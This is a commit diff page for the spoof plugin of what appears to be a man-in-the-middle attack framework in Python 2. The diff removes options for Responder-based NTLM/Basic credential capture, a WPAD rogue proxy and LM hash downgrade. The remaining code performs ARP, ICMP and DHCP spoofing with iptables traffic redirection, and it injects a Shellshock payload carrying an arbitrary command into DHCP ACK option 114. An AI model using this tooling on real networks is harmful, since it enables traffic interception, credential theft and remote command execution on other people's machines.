|
options.add_argument('--basic', dest="Basic", default=False, action="store_true", help="Set this if you want to return a Basic HTTP authentication. If not set, an NTLM authentication will be returned")
|
||||||
|
options.add_argument('--wredir', dest="Wredirect", default=False, action="store_true", help="Set this to enable answers for netbios wredir suffix queries. Answering to wredir will likely break stuff on the network (like classics 'nbns spoofer' would). Default value is therefore set to False")
|
||||||
|
options.add_argument('--nbtns', dest="NBTNSDomain", default=False, action="store_true", help="Set this to enable answers for netbios domain suffix queries. Answering to domain suffixes will likely break stuff on the network (like a classic 'nbns spoofer' would). Default value is therefore set to False")
|
||||||
|
options.add_argument('--fingerprint', dest="Finger", default=False, action="store_true", help = "This option allows you to fingerprint a host that issued an NBT-NS or LLMNR query")
|
||||||
|
options.add_argument('--wpad', dest="WPAD_On_Off", default=False, action="store_true", help = "Set this to start the WPAD rogue proxy server. Default value is False")
|
||||||
|
options.add_argument('--forcewpadauth', dest="Force_WPAD_Auth", default=False, action="store_true", help = "Set this if you want to force NTLM/Basic authentication on wpad.dat file retrieval. This might cause a login prompt in some specific cases. Therefore, default value is False")
|
||||||
|
options.add_argument('--lm', dest="LM_On_Off", default=False, action="store_true", help="Set this if you want to force LM hashing downgrade for Windows XP/2003 and earlier. Default value is False")
|
||||||
|
options.add_argument('--verbose', dest="Verbose", action="store_true", help="More verbose")
|
|
@ -13,7 +13,6 @@ import nfqueue
|
||||||
import logging
|
import logging
|
||||||
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy
|
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy
|
||||||
from scapy.all import *
|
from scapy.all import *
|
||||||
from libs.responder.Responder import *
|
|
||||||
import os
|
import os
|
||||||
import sys
|
import sys
|
||||||
import threading
|
import threading
|
||||||
|
@ -43,7 +42,6 @@ class Spoof(Plugin):
|
||||||
self.dns = options.dns
|
self.dns = options.dns
|
||||||
self.dhcp = options.dhcp
|
self.dhcp = options.dhcp
|
||||||
self.shellshock = options.shellshock
|
self.shellshock = options.shellshock
|
||||||
self.cmd = options.cmd
|
|
||||||
self.gateway = options.gateway
|
self.gateway = options.gateway
|
||||||
#self.summary = options.summary
|
#self.summary = options.summary
|
||||||
self.target = options.target
|
self.target = options.target
|
||||||
|
@ -53,22 +51,9 @@ class Spoof(Plugin):
|
||||||
self.manualiptables = options.manualiptables #added by alexander.georgiev@daloo.de
|
self.manualiptables = options.manualiptables #added by alexander.georgiev@daloo.de
|
||||||
self.debug = False
|
self.debug = False
|
||||||
self.send = True
|
self.send = True
|
||||||
thread_target = None
|
|
||||||
thread_args = None
|
|
||||||
|
|
||||||
if os.geteuid() != 0:
|
if os.geteuid() != 0:
|
||||||
sys.exit("[-] Spoof plugin requires root privileges")
|
sys.exit("[-] Spoof plugin requires root privileges")
|
||||||
|
|
||||||
if not self.interface:
|
|
||||||
sys.exit('[-] Spoof plugin requires --iface argument')
|
|
||||||
|
|
||||||
try:
|
|
||||||
self.ip_address = get_if_addr(options.interface)
|
|
||||||
if self.ip_address == "0.0.0.0":
|
|
||||||
sys.exit("[-] Interface %s does not have an IP address" % self.interface)
|
|
||||||
except Exception, e:
|
|
||||||
sys.exit("[-] Error retrieving interface IP address: %s" % e)
|
|
||||||
|
|
||||||
|
|
||||||
if self.options.log_level == 'debug':
|
if self.options.log_level == 'debug':
|
||||||
self.debug = True
|
self.debug = True
|
||||||
|
@ -89,6 +74,7 @@ class Spoof(Plugin):
|
||||||
pkt = self.build_arp_req()
|
pkt = self.build_arp_req()
|
||||||
elif self.arpmode == 'rep':
|
elif self.arpmode == 'rep':
|
||||||
pkt = self.build_arp_rep()
|
pkt = self.build_arp_rep()
|
||||||
|
|
||||||
thread_target = self.send_packets
|
thread_target = self.send_packets
|
||||||
thread_args = (pkt, self.interface, self.debug,)
|
thread_args = (pkt, self.interface, self.debug,)
|
||||||
|
|
||||||
|
@ -100,6 +86,7 @@ class Spoof(Plugin):
|
||||||
|
|
||||||
print "[*] ICMP Redirection enabled"
|
print "[*] ICMP Redirection enabled"
|
||||||
pkt = self.build_icmp()
|
pkt = self.build_icmp()
|
||||||
|
|
||||||
thread_target = self.send_packets
|
thread_target = self.send_packets
|
||||||
thread_args = (pkt, self.interface, self.debug,)
|
thread_args = (pkt, self.interface, self.debug,)
|
||||||
|
|
||||||
|
@ -111,11 +98,12 @@ class Spoof(Plugin):
|
||||||
self.rand_number = []
|
self.rand_number = []
|
||||||
self.dhcp_dic = {}
|
self.dhcp_dic = {}
|
||||||
self.dhcpcfg = ConfigObj("./config/dhcp.cfg")
|
self.dhcpcfg = ConfigObj("./config/dhcp.cfg")
|
||||||
|
|
||||||
thread_target = self.dhcp_sniff
|
thread_target = self.dhcp_sniff
|
||||||
thread_args = ()
|
thread_args = ()
|
||||||
|
|
||||||
elif not options.WPAD_On_Off:
|
else:
|
||||||
sys.exit("[-] Spoof plugin requires --arp, --icmp, --dhcp or --wpad")
|
sys.exit("[-] Spoof plugin requires --arp, --icmp or --dhcp")
|
||||||
|
|
||||||
print "[*] Spoof plugin online"
|
print "[*] Spoof plugin online"
|
||||||
if not self.manualiptables:
|
if not self.manualiptables:
|
||||||
|
@ -142,17 +130,11 @@ class Spoof(Plugin):
|
||||||
os.system('iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port %s' % self.port)
|
os.system('iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port %s' % self.port)
|
||||||
|
|
||||||
#CHarvester = CredHarvester()
|
#CHarvester = CredHarvester()
|
||||||
threads = []
|
t = threading.Thread(name='spoof_thread', target=thread_target, args=thread_args)
|
||||||
if thread_target:
|
#t2 = threading.Thread(name='cred_harvester', target=CHarvester.start, args=(self.interface))
|
||||||
threads.append(threading.Thread(name='spoof_thread', target=thread_target, args=thread_args))
|
|
||||||
#t2 = threading.Thread(name='cred_harvester', target=CHarvester.start, args=(self.interface))
|
|
||||||
|
|
||||||
threads.append(threading.Thread(name='responder', target=start_responder, args=(options, self.ip_address)))
|
t.setDaemon(True)
|
||||||
|
t.start()
|
||||||
if threads:
|
|
||||||
for t in threads:
|
|
||||||
t.setDaemon(True)
|
|
||||||
t.start()
|
|
||||||
|
|
||||||
def dhcp_rand_ip(self):
|
def dhcp_rand_ip(self):
|
||||||
pool = self.dhcpcfg['ip_pool'].split('-')
|
pool = self.dhcpcfg['ip_pool'].split('-')
|
||||||
|
@ -224,7 +206,7 @@ class Spoof(Plugin):
|
||||||
|
|
||||||
if self.shellshock:
|
if self.shellshock:
|
||||||
logging.info("Sending DHCP ACK with shellshock payload")
|
logging.info("Sending DHCP ACK with shellshock payload")
|
||||||
packet[DHCP].options.append(tuple((114, "() { ignored;}; " + self.cmd)))
|
packet[DHCP].options.append(tuple((114, "() { ignored;}; " + self.shellshock)))
|
||||||
packet[DHCP].options.append("end")
|
packet[DHCP].options.append("end")
|
||||||
else:
|
else:
|
||||||
logging.info("Sending DHCP ACK")
|
logging.info("Sending DHCP ACK")
|
||||||
|
@ -356,24 +338,12 @@ class Spoof(Plugin):
|
||||||
group.add_argument('--icmp', dest='icmp', action='store_true', default=False, help='Redirect traffic using ICMP redirects')
|
group.add_argument('--icmp', dest='icmp', action='store_true', default=False, help='Redirect traffic using ICMP redirects')
|
||||||
group.add_argument('--dhcp', dest='dhcp', action='store_true', default=False, help='Redirect traffic using DHCP offers')
|
group.add_argument('--dhcp', dest='dhcp', action='store_true', default=False, help='Redirect traffic using DHCP offers')
|
||||||
options.add_argument('--dns', dest='dns', action='store_true', default=False, help='Modify intercepted DNS queries')
|
options.add_argument('--dns', dest='dns', action='store_true', default=False, help='Modify intercepted DNS queries')
|
||||||
options.add_argument('--shellshock', dest='shellshock', action='store_true', default=False, help='Trigger the Shellshock vuln when spoofing DHCP')
|
options.add_argument('--shellshock', type=str, dest='shellshock', help='Trigger the Shellshock vuln when spoofing DHCP, and execute specified command')
|
||||||
options.add_argument('--cmd', type=str, dest='cmd', default="echo 'pwned'", help='Command to run on vulnerable clients [default: echo pwned]')
|
|
||||||
options.add_argument('--iface', dest='interface', help='Specify the interface to use')
|
|
||||||
options.add_argument('--gateway', dest='gateway', help='Specify the gateway IP')
|
options.add_argument('--gateway', dest='gateway', help='Specify the gateway IP')
|
||||||
options.add_argument('--target', dest='target', help='Specify a host to poison [default: subnet]')
|
options.add_argument('--target', dest='target', help='Specify a host to poison [default: subnet]')
|
||||||
options.add_argument('--arpmode', dest='arpmode', default='req', help=' ARP Spoofing mode: requests (req) or replies (rep) [default: req]')
|
options.add_argument('--arpmode', dest='arpmode', default='req', help=' ARP Spoofing mode: requests (req) or replies (rep) [default: req]')
|
||||||
#options.add_argument('--summary', action='store_true', dest='summary', default=False, help='Show packet summary and ask for confirmation before poisoning')
|
|
||||||
options.add_argument('--manual-iptables', dest='manualiptables', action='store_true', default=False, help='Do not setup iptables or flush them automatically')
|
options.add_argument('--manual-iptables', dest='manualiptables', action='store_true', default=False, help='Do not setup iptables or flush them automatically')
|
||||||
#rgroup = options.add_argument_group("Responder", "Options for Responder")
|
#options.add_argument('--summary', action='store_true', dest='summary', default=False, help='Show packet summary and ask for confirmation before poisoning')
|
||||||
options.add_argument('--analyze', dest="Analyse", action="store_true", help="Analyze mode. This option allows you to see NBT-NS, BROWSER, LLMNR requests from which workstation to which workstation without poisoning anything")
|
|
||||||
options.add_argument('--basic', dest="Basic", default=False, action="store_true", help="Set this if you want to return a Basic HTTP authentication. If not set, an NTLM authentication will be returned")
|
|
||||||
options.add_argument('--wredir', dest="Wredirect", default=False, action="store_true", help="Set this to enable answers for netbios wredir suffix queries. Answering to wredir will likely break stuff on the network (like classics 'nbns spoofer' would). Default value is therefore set to False")
|
|
||||||
options.add_argument('--nbtns', dest="NBTNSDomain", default=False, action="store_true", help="Set this to enable answers for netbios domain suffix queries. Answering to domain suffixes will likely break stuff on the network (like a classic 'nbns spoofer' would). Default value is therefore set to False")
|
|
||||||
options.add_argument('--fingerprint', dest="Finger", default=False, action="store_true", help = "This option allows you to fingerprint a host that issued an NBT-NS or LLMNR query")
|
|
||||||
options.add_argument('--wpad', dest="WPAD_On_Off", default=False, action="store_true", help = "Set this to start the WPAD rogue proxy server. Default value is False")
|
|
||||||
options.add_argument('--forcewpadauth', dest="Force_WPAD_Auth", default=False, action="store_true", help = "Set this if you want to force NTLM/Basic authentication on wpad.dat file retrieval. This might cause a login prompt in some specific cases. Therefore, default value is False")
|
|
||||||
options.add_argument('--lm', dest="LM_On_Off", default=False, action="store_true", help="Set this if you want to force LM hashing downgrade for Windows XP/2003 and earlier. Default value is False")
|
|
||||||
options.add_argument('--verbose', dest="Verbose", action="store_true", help="More verbose")
|
|
||||||
|
|
||||||
def finish(self):
|
def finish(self):
|
||||||
self.send = False
|
self.send = False
|
||||||
|
|
Loading…
Add table
Add a link
Reference in a new issue